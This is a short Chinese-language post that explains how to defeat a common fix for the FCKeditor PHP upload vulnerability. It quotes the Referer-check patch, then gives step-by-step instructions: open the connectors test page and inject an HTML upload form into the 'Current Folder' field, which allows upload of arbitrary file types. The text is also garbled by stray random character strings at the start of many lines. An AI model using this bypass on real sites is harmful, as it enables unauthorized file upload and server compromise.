fckeditor 漏洞修复后的二次利用

admin

漏洞文件：editors/fckeditor/editor/filemanager/upload/php/upload.php
网上给出的修复方案是
+ ^6 F, Y' S8 ^! P- u- M修复方法，删除FCK编辑器用其他的编辑器
' d" O& L( P* l, G# R& L3 M或者找到 editors/fckeditor/editor/filemanager/upload/php/upload.php 文件
在
require(‘config.php’);
, U  v. x  b3 [8 J# zrequire(‘util.php’);
的下面添加以下代码—————————–
//防止外部提交
7 C% U$ ]! [* t; lfunction outsidepost()
{
+ v% g5 Q$ r# A, j# v0 Y$servername=$_SERVER['SERVER_NAME'];
$sub_from=@$_SERVER['HTTP_REFERER'];
$sub_len=strlen($servername);
: i+ L+ w% b+ j8 I% O$checkfrom=substr($sub_from,7,$sub_len);
% y/ \  C/ ?3 J2 eif($checkfrom!=$servername){
. j; J/ J3 _9 x' Zecho(“you don’t outsidepost!”);
/ E4 Z3 V3 \5 `/ A4 E& d$ p% nexit;
}
}
# g/ X& x  S& _# N5 s+ Houtsidepost();
/ C. N* X4 `6 j' ?- ]- M$ L0 e防止外部提交，但是没有防止内部提交，
& d/ o1 g) T" h2 J利用方法：
1,打开 editors/fckeditor/editor/filemanager/browser/default/connectors/test.html
6 p$ ~7 r- G$ C- p9 e5 u4 ?2,在Current Folder 框输入
<form id=frmUpload enctype=multipart/form-data action=http://www.url.com/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media method=post>Upload a new file:<br><input type=file name=NewFile size=50><br><input id=btnUpload type=submit value=Upload></form>
3 c; O" J1 @* B7 D0 D0 D然后 Get Folders and Files 就会出现一个上传表单，即可上传任意文件类型。
PS：如果 editors与上传的文件夹设置了403 500 404 权限 利用就无效了。